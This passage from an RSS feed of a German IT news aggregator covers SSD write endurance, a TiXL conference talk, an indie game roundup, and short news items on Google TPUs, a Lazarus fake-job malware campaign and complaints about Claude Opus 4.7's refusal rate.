<p>Hersteller geben die Haltbarkeit ihrer Laufwerke oft in TBW (Terabytes Written) an. Dies ist die garantierte Menge an Daten, die Sie auf das Laufwerk schreiben können. Ein typisches 1-TB-Modell der Mittelklasse hat oft einen Wert von 600 TBW.</p>



<p>Bei einem üblichen PC, den Sie für normale Büroarbeit, das Surfen im Internet und gelegentliche Fotobearbeitung nutzen, schreibt die SSD pro Tag im Schnitt etwa 20 bis 40 GB. Bei einem täglichen Schreibaufkommen von 40 GB ergibt sich folgende Rechnung: 600.000 GB (TBW) / 40 GB (pro Tag) = 15.000 Tage. Das entspricht theoretisch einer Nutzungsdauer von über 41 Jahren.</p>



<p>Ein zweiter Wert ist DWPD (Drive Writes Per Day). Er gibt an, wie oft Sie die gesamte Kapazität des Laufwerks täglich während der Garantiezeit von meist fünf Jahren überschreiben dürfen.</p>



<p>Der reine Speicherverschleiß durch das Schreiben von Daten ist für die meisten SSDs daher kein Problem. Viel gefährlicher sind dagegen plötzliche Defekte durch Überhitzung, instabile Netzteile oder fehlerhafte Firmware. Deshalb ist die regelmäßige Kontrolle der Temperatur und der SMART-Werte deutlich wichtiger als das akribische Zählen jedes geschriebenen Megabytes.</p>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tixl Skill Quest (lgm2026)]]></title>
<description><![CDATA[Presenting and discussing TiXL’s new interactive learning tour. We broke down the entire knowledge you need to know into linked non-linear learning paths that guide users through a serious of interactive puzzles. Starting with very basics of the using user interface, to buildings node graphs but ...]]></description>
<link>https://tsecurity.de/de/3464137/it-security-video/tixl-skill-quest-lgm2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3464137/it-security-video/tixl-skill-quest-lgm2026/</guid>
<pubDate>Sat, 25 Apr 2026 16:02:36 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Presenting and discussing TiXL’s new interactive learning tour. We broke down the entire knowledge you need to know into linked non-linear learning paths that guide users through a serious of interactive puzzles. Starting with very basics of the using user interface, to buildings node graphs but learning and mastering advanced topics like render pipelines and shaders.

About TiXL

TiXL is an MIT-licensed tool for real-time graphics and VJing, built entirely by a community of artists and devs—no corporate backing. We’ve grown a lot lately, with our Discord hitting 2,500 members and our GitHub reaching 4k stars.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://pretalx.c3voc.de/lgm-2026/talk/SNDEP3/]]></content:encoded>
</item>
<item>
<title><![CDATA[LGM 2026 - Tixl Skill Quest]]></title>
<description><![CDATA[Author: media.ccc.de - Bewertung: 0x - Views:0 https://media.ccc.de/v/lgm-2026-110677-tixl-skill-quest

Presenting and discussing TiXL’s new interactive learning tour. We broke down the entire knowledge you need to know into linked non-linear learning paths that guide users through a serious of i...]]></description>
<link>https://tsecurity.de/de/3464120/it-security-video/lgm-2026-tixl-skill-quest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3464120/it-security-video/lgm-2026-tixl-skill-quest/</guid>
<pubDate>Sat, 25 Apr 2026 15:47:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: media.ccc.de - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Z5cyoQJ8AMo?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>https://media.ccc.de/v/lgm-2026-110677-tixl-skill-quest<br />
<br />
Presenting and discussing TiXL’s new interactive learning tour. We broke down the entire knowledge you need to know into linked non-linear learning paths that guide users through a serious of interactive puzzles. Starting with very basics of the using user interface, to buildings node graphs but learning and mastering advanced topics like render pipelines and shaders.<br />
<br />
About TiXL<br />
<br />
TiXL is an MIT-licensed tool for real-time graphics and VJing, built entirely by a community of artists and devs—no corporate backing. We’ve grown a lot lately, with our Discord hitting 2,500 members and our GitHub reaching 4k stars.<br />
<br />
Thomas Mann<br />
<br />
https://pretalx.c3voc.de/lgm-2026/talk/SNDEP3/<br />
<br />
#lgm2026<br />
<br />
Licensed to the public under https://creativecommons.org/licenses/by/4.0/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vampire Crawlers, Peter Molyneux's return and other new indie games worth checking out]]></title>
<description><![CDATA[Welcome to our latest roundup of what's going on in the indie game space. If you're looking for something new to play this weekend, we've got a bunch of options for you. We've also got some interesting upcoming games to tell you about as well.In a press release announcing that Playdate Season 3 i...]]></description>
<link>https://tsecurity.de/de/3463889/it-nachrichten/vampire-crawlers-peter-molyneuxs-return-and-other-new-indie-games-worth-checking-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3463889/it-nachrichten/vampire-crawlers-peter-molyneuxs-return-and-other-new-indie-games-worth-checking-out/</guid>
<pubDate>Sat, 25 Apr 2026 13:16:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to our latest roundup of what's going on in the indie game space. If you're looking for something new to play this weekend, we've got a bunch of options for you. We've also got some interesting upcoming games to tell you about as well.</p><p>In a press release announcing that <a target="_blank" class="link" href="https://www.engadget.com/gaming/playdate-season-3-is-coming-later-this-year-181340117.html" data-i13n="cpos:1;pos:1">Playdate Season 3</a> is coming later this year, Panic included a line that I've been thinking about a lot this week. "Panic is currently relieved and happy that people can make amazing games for Playdate with just 16 megabytes of RAM," it said, a nod toward the ongoing <a target="_blank" class="link" href="https://www.engadget.com/computing/laptops/the-ram-crisis-is-apples-best-chance-in-decades-to-capture-the-pc-market-130000672.html" data-i13n="cpos:2;pos:1">RAM crisis</a>.</p><p>The Playdate doesn't exactly have a lot of technical oomph, and I'm frequently delighted by what developers are able to do within its limitations. Restrictions foster creativity — many folks had to get pretty inventive on Twitter back when they only had 140 characters to play with. Here, Panic offered a welcome reminder that you don't necessarily need an ultra-powerful rig or console to have access to more great games than you'll ever actually be able to play.</p><p>For instance, my favorite game of the year so far, <a target="_blank" class="link" href="https://www.engadget.com/gaming/titanium-court-mashes-together-genres-and-cultural-references-to-tell-a-strange-funny-tale-184750797.html" data-i13n="cpos:3;pos:1"><em>Titanium Court</em></a>, works on Macs that are capable of running macOS 11 (the 2020 version of the operating system) or later. On PC, you'll need a graphics card that's compatible with OpenGL or DirectX 9, the latter of which was released in 2002. For what it's worth, the game would also fit on a CD-ROM. </p><p>There are tons of other great indie games new and old that'll run just fine on lower-powered machines. Bear that in mind the next time a current-gen console or other gaming system gets a <a target="_blank" class="link" href="https://www.engadget.com/gaming/playstation/the-ps5-is-getting-more-expensive-again-133141514.html" data-i13n="cpos:4;pos:1">price increase</a> because of the RAM shortage. The <a target="_blank" class="link" href="https://www.engadget.com/gaming/pc/gamers-are-right-to-be-disgusted-by-nvidias-dlss-5-151105593.html" data-i13n="cpos:5;pos:1">DLSS 5 debacle</a> aside, you probably don't <em>need</em> a 50-series NVIDIA GPU either. Maybe just pick up a Playdate instead.</p><h2>New releases</h2><div><div></div></div><p>While many of the weapons, characters and enemies are the same, <em>Vampire Crawlers</em> is a fresh spin on <em>Vampire Survivors</em>. It's a turn-based roguelite deckbuilder. Instead of automatically firing whatever weapons you have at nearby enemies, you'll play cards to conquer the mob that you face in each fight. You can still modify and evolve your weapons and abilities. </p><p>Each card has a casting cost, so you’ll need to consider which ones to play in a given moment and the order in which you do so. As such, it’s a slower-paced, more strategic take on the original game, albeit with a similar level of visual chaos should you put together a particularly powerful build. </p><p>I've played a ton of <em>Vampire Survivors </em>and the <em>Vampire Crawlers</em> demo <a target="_blank" class="link" href="https://www.engadget.com/gaming/steam-next-fest-a-different-flavor-of-the-witcher-and-other-new-indie-games-worth-checking-out-120000900.html" data-i13n="cpos:6;pos:1">lured me in</a> too. Its approach to turn-based battles is working for me. I've only played a little of the full game so far, but there's every chance I could lose days of my life to it.</p><p><em>Vampire Crawlers </em>— from <em>Survivors </em>creator Poncle and co-developer Nosebleed Interactive — is available now on <a target="_blank" class="link" href="https://store.steampowered.com/app/3265700/Vampire_Crawlers_The_Turbo_Wildcard_from_Vampire_Survivors/" data-i13n="cpos:7;pos:1">Steam</a> (for PC and Mac), <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=5f41950e-8ca3-4481-8466-a22b28b80e32&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;merchantName=Xbox&amp;linkText=Xbox+for+PC%2C+Xbox+Series+X%2FS&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy54Ym94LmNvbS9lbi11cy9nYW1lcy9zdG9yZS92YW1waXJlLWNyYXdsZXJzLXRoZS10dXJiby13aWxkY2FyZC1mcm9tLXZhbXBpcmUtc3Vydml2b3JzLzlOTVBWSjdUQ0ZEMCIsImNvbnRlbnRVdWlkIjoiMjcwODliNTgtZTYyOC00MmFhLWI2NzQtYWRhZGE2YzM5YTNlIiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy54Ym94LmNvbS9lbi11cy9nYW1lcy9zdG9yZS92YW1waXJlLWNyYXdsZXJzLXRoZS10dXJiby13aWxkY2FyZC1mcm9tLXZhbXBpcmUtc3Vydml2b3JzLzlOTVBWSjdUQ0ZEMCJ9&amp;signature=AQAAAayjRFlbYOnTe6_4Lsd9natAWXsfc-wLrXhlFP0_lQwJ&amp;gcReferrer=https%3A%2F%2Fwww.xbox.com%2Fen-us%2Fgames%2Fstore%2Fvampire-crawlers-the-turbo-wildcard-from-vampire-survivors%2F9NMPVJ7TCFD0" data-i13n="elm:affiliate_link;sellerN:Xbox;elmt:;cpos:8;pos:1" data-original-link="https://www.xbox.com/en-us/games/store/vampire-crawlers-the-turbo-wildcard-from-vampire-survivors/9NMPVJ7TCFD0">Xbox for PC, Xbox Series X/S</a>, <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;linkText=PS5&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3N0b3JlLnBsYXlzdGF0aW9uLmNvbS9lbi11cy9jb25jZXB0LzEwMDE1NDgxIiwiY29udGVudFV1aWQiOiIyNzA4OWI1OC1lNjI4LTQyYWEtYjY3NC1hZGFkYTZjMzlhM2UiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vc3RvcmUucGxheXN0YXRpb24uY29tL2VuLXVzL2NvbmNlcHQvMTAwMTU0ODEifQ&amp;signature=AQAAAXERW2pJMvkhsbvgB0hHthvhrcNWbmJW2N3kyN8ekDE5&amp;gcReferrer=https%3A%2F%2Fstore.playstation.com%2Fen-us%2Fconcept%2F10015481" data-i13n="elm:affiliate_link;sellerN:;elmt:;cpos:9;pos:1" data-original-link="https://store.playstation.com/en-us/concept/10015481">PS5</a> and <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=21fc7c82-c5eb-49a9-b5d3-fc32a78290de&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;merchantName=Nintendo&amp;linkText=Nintendo+Switch&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5uaW50ZW5kby5jb20vdXMvc3RvcmUvcHJvZHVjdHMvdmFtcGlyZS1jcmF3bGVycy10aGUtdHVyYm8td2lsZGNhcmQtZnJvbS12YW1waXJlLXN1cnZpdm9ycy1zd2l0Y2gvIiwiY29udGVudFV1aWQiOiIyNzA4OWI1OC1lNjI4LTQyYWEtYjY3NC1hZGFkYTZjMzlhM2UiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3Lm5pbnRlbmRvLmNvbS91cy9zdG9yZS9wcm9kdWN0cy92YW1waXJlLWNyYXdsZXJzLXRoZS10dXJiby13aWxkY2FyZC1mcm9tLXZhbXBpcmUtc3Vydml2b3JzLXN3aXRjaC8ifQ&amp;signature=AQAAAVVxTqfLxbp018Le2FjTpJpeWzgjk0oqHmW4fNYse6r6&amp;gcReferrer=https%3A%2F%2Fwww.nintendo.com%2Fus%2Fstore%2Fproducts%2Fvampire-crawlers-the-turbo-wildcard-from-vampire-survivors-switch%2F" data-i13n="elm:affiliate_link;sellerN:Nintendo;elmt:;cpos:10;pos:1" data-original-link="https://www.nintendo.com/us/store/products/vampire-crawlers-the-turbo-wildcard-from-vampire-survivors-switch/">Nintendo Switch</a> for $10. It's included with Game Pass Ultimate and PC Game Pass. </p><div><div></div></div><p>Fable creator Peter Molyneux and his studio 22cans are back with another god game. In <em>Masters of Albion</em>, you can construct and modify settlements as a literal hand of god. You'll design buildings (which are immediately constructed and usable) and manage workers. You can also assume control of a human or animal in the world to take on quests and hunt for treasure.</p><p>There's a tower defense element to this as well. You'll need to prepare your towns from nighttime attacks from various creatures. You can fend off these foes as the god or battle them on the ground as a hero. There's a lot going on here, but perhaps my favorite part is this apparent warning in the mature content description section of the Steam page: "Players are also able to use crude, adult hand gestures at will in the game." Yes, that means you can flip the bird while playing as the god hand. Yes, I am very mature.</p><p><em>Masters of Albion</em> is now available in early access on <a target="_blank" class="link" href="https://store.steampowered.com/app/3165650/Masters_of_Albion/" data-i13n="cpos:11;pos:1">Steam</a>. It typically costs $25, but there's a 10 percent discount until April 29.</p><div><div></div></div><p><a target="_blank" class="link" href="https://www.engadget.com/gaming/snap-grab-is-no-goblins-campy-photography-based-heist-game-000024233.html" data-i13n="cpos:12;pos:1"><em>Snap &amp; Grab</em></a> caught our attention at last summer's edition of the Day of the Devs showcase. This is a cartoonish heist game in which you'll carry out your robberies in two parts. You play as Nifty, a famous fashion photographer. In the setup phase, you'll take advantage of your position to take snaps of loot, threats and opportunities and then use those to construct a plan. With the help of some henchman, you'll then try to execute the heist. </p><p>The game’s developer No Goblin is taking an episodic approach to <em>Snap &amp; Grab </em>as it's releasing the game in five parts over the course of this year. The first episode is available now on <a target="_blank" class="link" href="https://store.steampowered.com/app/897160/Snap__Grab/" data-i13n="cpos:13;pos:1">Steam</a> (usually $8, though there's a 10 percent discount until May 1).</p><div><div></div></div><p>Snow Day Software's follow-up to <em>Indoor Kickball</em> is <em>Indoor Baseball</em>. It's an arcade game in which you play baseball inside buildings, funnily enough. You'll play 1v1 matches against the CPU or a friend in local multiplayer. You can also dive into a 14-game season or check out the story mode, in which you'll try to play your way back onto your school's baseball team (and maybe do some chores to make up for smashing too many things at home).</p><p>There are several different levels, each of which has a variety of ways for you to make a home run, from smashing a window to landing the ball in a toilet. It seems light and fun and as a <a target="_blank" class="link" href="https://www.engadget.com/gaming/playstation/mlb-the-show-26-is-turning-me-into-more-of-a-baseball-fan-120000724.html" data-i13n="cpos:14;pos:1">burgeoning baseball guy</a>, I dig the idea of this one.</p><p><em>Indoor Baseball</em> is available now on <a target="_blank" class="link" href="https://store.steampowered.com/app/3434700/Indoor_Baseball/" data-i13n="cpos:15;pos:1">Steam</a>, <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=5f41950e-8ca3-4481-8466-a22b28b80e32&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;merchantName=Xbox&amp;linkText=Xbox+for+PC%2C+Xbox+One%2C+Xbox+Series+X%2FS%2C&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy54Ym94LmNvbS9lbi11cy9nYW1lcy9zdG9yZS9JbmRvb3ItQmFzZWJhbGwvOVBKV0JDQjUwUVhCIiwiY29udGVudFV1aWQiOiIyNzA4OWI1OC1lNjI4LTQyYWEtYjY3NC1hZGFkYTZjMzlhM2UiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3Lnhib3guY29tL2VuLXVzL2dhbWVzL3N0b3JlL0luZG9vci1CYXNlYmFsbC85UEpXQkNCNTBRWEIifQ&amp;signature=AQAAAWhGMQ84LvpoTUqeIX8Ny1mRI48nIzwosV2w98ViGUmD&amp;gcReferrer=https%3A%2F%2Fwww.xbox.com%2Fen-us%2Fgames%2Fstore%2FIndoor-Baseball%2F9PJWBCB50QXB" data-i13n="elm:affiliate_link;sellerN:Xbox;elmt:;cpos:16;pos:1" data-original-link="https://www.xbox.com/en-us/games/store/Indoor-Baseball/9PJWBCB50QXB">Xbox for PC, Xbox One, Xbox Series X/S,</a> <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;linkText=PS5&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3N0b3JlLnBsYXlzdGF0aW9uLmNvbS9lbi11cy9jb25jZXB0LzEwMDE2MjgzIiwiY29udGVudFV1aWQiOiIyNzA4OWI1OC1lNjI4LTQyYWEtYjY3NC1hZGFkYTZjMzlhM2UiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vc3RvcmUucGxheXN0YXRpb24uY29tL2VuLXVzL2NvbmNlcHQvMTAwMTYyODMifQ&amp;signature=AQAAASeKDkJm72gA6MiHu7SF2LvOUYTokpK3VvjgL2Nx6xEO&amp;gcReferrer=https%3A%2F%2Fstore.playstation.com%2Fen-us%2Fconcept%2F10016283" data-i13n="elm:affiliate_link;sellerN:;elmt:;cpos:17;pos:1" data-original-link="https://store.playstation.com/en-us/concept/10016283">PS5</a> and Nintendo Switch. It costs $15.</p><h2>Upcoming </h2><div><div></div></div><p>I love <em>Another Crab's Treasure </em>very much and so I'll always be interested in whatever Aggro Crab is up to. Given that the studio also co-developed the smash hit <em>Peak </em>(alongside Landfall), I imagine many other folks feel the same way.</p><p><a target="_blank" class="link" href="https://www.engadget.com/crashout-crew-looks-like-overcooked-style-mayhem-from-one-of-the-studios-behind-peak-193854718.html" data-i13n="cpos:18;pos:1"><em>Crashout Crew</em></a><em> </em>is another multiplayer game from Aggro Crab. This one adopts the chaotic co-op formula of games like <em>Overcooked</em>. As a team of forklift drivers, you and your buds will work together to fill orders in warehouses while dealing with obstacles like blackouts, cacti, fire and bees.</p><p>It's coming to <a target="_blank" class="link" href="https://store.steampowered.com/app/3583210/Crashout_Crew/" data-i13n="cpos:19;pos:1">Steam</a>, <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=5f41950e-8ca3-4481-8466-a22b28b80e32&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=27089b58-e628-42aa-b674-adada6c39a3e&amp;featureId=text-link&amp;merchantName=Xbox&amp;linkText=Xbox+on+PC+and+Xbox+Series+X%2FS&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy54Ym94LmNvbS9lbi11cy9nYW1lcy9zdG9yZS9jcmFzaG91dC1jcmV3Lzluamp2cXozYnZweCIsImNvbnRlbnRVdWlkIjoiMjcwODliNTgtZTYyOC00MmFhLWI2NzQtYWRhZGE2YzM5YTNlIiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy54Ym94LmNvbS9lbi11cy9nYW1lcy9zdG9yZS9jcmFzaG91dC1jcmV3Lzluamp2cXozYnZweCJ9&amp;signature=AQAAAadqAivi45y0dodMo8Janb1ESsX9iZWCafd3wxhnpXdz&amp;gcReferrer=https%3A%2F%2Fwww.xbox.com%2Fen-us%2Fgames%2Fstore%2Fcrashout-crew%2F9njjvqz3bvpx" data-i13n="elm:affiliate_link;sellerN:Xbox;elmt:;cpos:20;pos:1" data-original-link="https://www.xbox.com/en-us/games/store/crashout-crew/9njjvqz3bvpx">Xbox on PC and Xbox Series X/S</a> on May 28. It'll be available on Game Pass on day one.</p><div><div></div></div><p>I'm very much here for slice-of-life games based around soccer (I still need to play <a target="_blank" class="link" href="https://www.engadget.com/gaming/despelote-review-a-poignant-memoir-masquerading-as-a-soccer-game-124526276.html" data-i13n="cpos:21;pos:1"><em>Despelote</em></a>!). <em>Kick</em> is another such title. This is a side-scrolling, anime-inspired game from solo developer nospacelost and publisher Shoreline Games, in which you dribble a ball as you make your way to school.</p><p>There are 23 levels with people to dodge and obstacles to overcome. You'll need to avoid damaging anything as you try to pull off tricks by kicking the ball at the correct angle, all while making sure you get to class on time (you can switch off the timer for a more relaxed experience). It looks pretty, and it never hurts a game's prospects to have a pup accompanying the main character.</p><p>No release date for <em>Kick </em>has been announced. It's coming to <a target="_blank" class="link" href="https://store.steampowered.com/app/3760370/Kick/" data-i13n="cpos:22;pos:1">Steam</a> at some point.</p><div><div></div></div><p><em>Elfie: A Sand Plan </em>is a cozy sandcastle building game from Pressed Elephant and Sol's Atelier. There are more than 180 levels in which you'll build sand sculptures to match what Elfie, a small elephant, has in mind. There are three difficulty levels too.</p><p>It looks cute and I adore elephants (oops, I just started fostering another one), so I'm interested in checking it out. <em>Elfie: A Sand Plan</em> is coming to <a target="_blank" class="link" href="https://store.steampowered.com/app/3784760/Elfie_A_Sand_Plan/" data-i13n="cpos:23;pos:1">Steam</a> for PC and Mac on May 12. It'll cost $7, and there'll be a 10 percent launch discount.</p><div><div></div></div><p>It took the team at Realmsoft 14 years to bring <em>Clockwork Ambrosia</em> to fruition and if this latest trailer is any indication, that long development cycle could have well been worthwhile. This is a side-scrolling action platformer in which you can customize half a dozen weapons using more than 150 modifiers. </p><p>You play as an airship engineer who tries to survive on a steampunk island full of aggressive robots and creatures following a crash. I really dig the art direction here, which features lush hand-drawn pixel art and lovely animations. Realmsoft made the game using a custom engine the team built from scratch.</p><p>I'm looking forward to checking out <em>Clockwork Ambrosia</em>. It's coming to <a target="_blank" class="link" href="https://store.steampowered.com/app/896010/Clockwork_Ambrosia/" data-i13n="cpos:24;pos:1">Steam</a> on May 12.</p>This article originally appeared on Engadget at https://www.engadget.com/gaming/vampire-crawlers-peter-molyneuxs-return-and-other-new-indie-games-worth-checking-out-110000340.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Devs behind canceled Xbox game are hiring for an unannounced AAA open-world title — are they reviving one of my favorite action game franchises?]]></title>
<description><![CDATA[New job listings at Avalanche Studios suggest that it might be returning to the Just Cause franchise with an open-world "unannounced AAA project."]]></description>
<link>https://tsecurity.de/de/3462712/windows-tipps/devs-behind-canceled-xbox-game-are-hiring-for-an-unannounced-aaa-open-world-title-are-they-reviving-one-of-my-favorite-action-game-franchises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3462712/windows-tipps/devs-behind-canceled-xbox-game-are-hiring-for-an-unannounced-aaa-open-world-title-are-they-reviving-one-of-my-favorite-action-game-franchises/</guid>
<pubDate>Fri, 24 Apr 2026 23:08:24 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New job listings at Avalanche Studios suggest that it might be returning to the Just Cause franchise with an open-world "unannounced AAA project."]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Opus 4.7 has turned into an overzealous query cop, devs complain]]></title>
<description><![CDATA[Rising refusal rate from Acceptable Use Classifier leaves customers paying for nothing Anthropic's release last week of Opus 4.7 came with stronger safeguards to prevent misuse. Unfortunately, these safeguards have also managed to thwart legitimate use.…]]></description>
<link>https://tsecurity.de/de/3459434/it-nachrichten/claude-opus-47-has-turned-into-an-overzealous-query-cop-devs-complain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3459434/it-nachrichten/claude-opus-47-has-turned-into-an-overzealous-query-cop-devs-complain/</guid>
<pubDate>Thu, 23 Apr 2026 23:01:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Rising refusal rate from Acceptable Use Classifier leaves customers paying for nothing</h4> <p>Anthropic's release last week of Opus 4.7 came with stronger safeguards to prevent misuse. Unfortunately, these safeguards have also managed to thwart legitimate use.…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lazarus Hackers Weaponize AI In Sneaky Coding Challenge Attacks On Devs]]></title>
<description><![CDATA[North Korea-linked Lazarus hackers are using fake coding challenges to infect developers with malware, steal credentials, and drain crypto wallets. Researchers say the campaign targets software developers, especially those working on Web3, blockchain, and crypto projects. The attackers pose as re...]]></description>
<link>https://tsecurity.de/de/3457510/it-security-nachrichten/lazarus-hackers-weaponize-ai-in-sneaky-coding-challenge-attacks-on-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3457510/it-security-nachrichten/lazarus-hackers-weaponize-ai-in-sneaky-coding-challenge-attacks-on-devs/</guid>
<pubDate>Thu, 23 Apr 2026 11:51:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>North Korea-linked Lazarus hackers are using fake coding challenges to infect developers with malware, steal credentials, and drain crypto wallets. Researchers say the campaign targets software developers, especially those working on Web3, blockchain, and crypto projects. The attackers pose as recruiters, offer attractive job offers, and then send take-home assessments that appear normal at first […]</p>
<p>The post <a href="https://cyberpress.org/lazarus-ai-coding-backdoor-trap/">Lazarus Hackers Weaponize AI In Sneaky Coding Challenge Attacks On Devs</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Unveils Two New AI Chips For the 'Agentic Era']]></title>
<description><![CDATA[Google announced two new tensor processing units (TPUs) for the "agentic era," with separate processors dedicated to training and inference. "With the rise of AI agents, we determined the community would benefit from chips individually specialized to the needs of training and serving," Amin Vahda...]]></description>
<link>https://tsecurity.de/de/3455902/it-security-nachrichten/google-unveils-two-new-ai-chips-for-the-agentic-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3455902/it-security-nachrichten/google-unveils-two-new-ai-chips-for-the-agentic-era/</guid>
<pubDate>Wed, 22 Apr 2026 20:07:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google announced two new tensor processing units (TPUs) for the "agentic era," with separate processors dedicated to training and inference. "With the rise of AI agents, we determined the community would benefit from chips individually specialized to the needs of training and serving," Amin Vahdat, a Google senior vice president and chief technologist for AI and infrastructure, said in a blog post. Both chips will become available later this year. CNBC reports: After years of producing chips that can both train artificial intelligence models and handle inference work, Google is separating those tasks into distinct processors, its latest effort to take on Nvidia in AI hardware. [...] None of the tech giants are displacing Nvidia, and Google isn't even comparing the performance of its new chips with those from the AI chip leader. Google did say the training chip enables 2.8 times the performance of the seventh-generation Ironwood TPU, announced in November, for the same price, while performance is 80% better for the inference processor.
 
Nvidia said its upcoming Groq 3 LPU hardware will draw on large quantities of static random-access memory, or SRAM, which is used by Cerebras, an AI chipmaker that filed to go public earlier this month. Google's new inference chip, dubbed TPU 8i, also relies on SRAM. Each chip contains 384 megabytes of SRAM, triple the amount in Ironwood. The architecture is designed "to deliver the massive throughput and low latency needed to concurrently run millions of agents cost-effectively," Sundar Pichai, CEO of Google parent Alphabet, wrote in a blog post.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Unveils+Two+New+AI+Chips+For+the+'Agentic+Era'%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F04%2F22%2F1746252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F04%2F22%2F1746252%2Fgoogle-unveils-two-new-ai-chips-for-the-agentic-era%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/04/22/1746252/google-unveils-two-new-ai-chips-for-the-agentic-era?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tower defense meets roguelite progression in Infamous Keepers from the Legend of Keepers devs]]></title>
<description><![CDATA[Set in the same world as Legend of Keepers, the new tactical tower defense announcement from Goblinz Studio with Infamous Keepers sounds fun.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3454542/linux-tipps/tower-defense-meets-roguelite-progression-in-infamous-keepers-from-the-legend-of-keepers-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3454542/linux-tipps/tower-defense-meets-roguelite-progression-in-infamous-keepers-from-the-legend-of-keepers-devs/</guid>
<pubDate>Wed, 22 Apr 2026 13:09:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
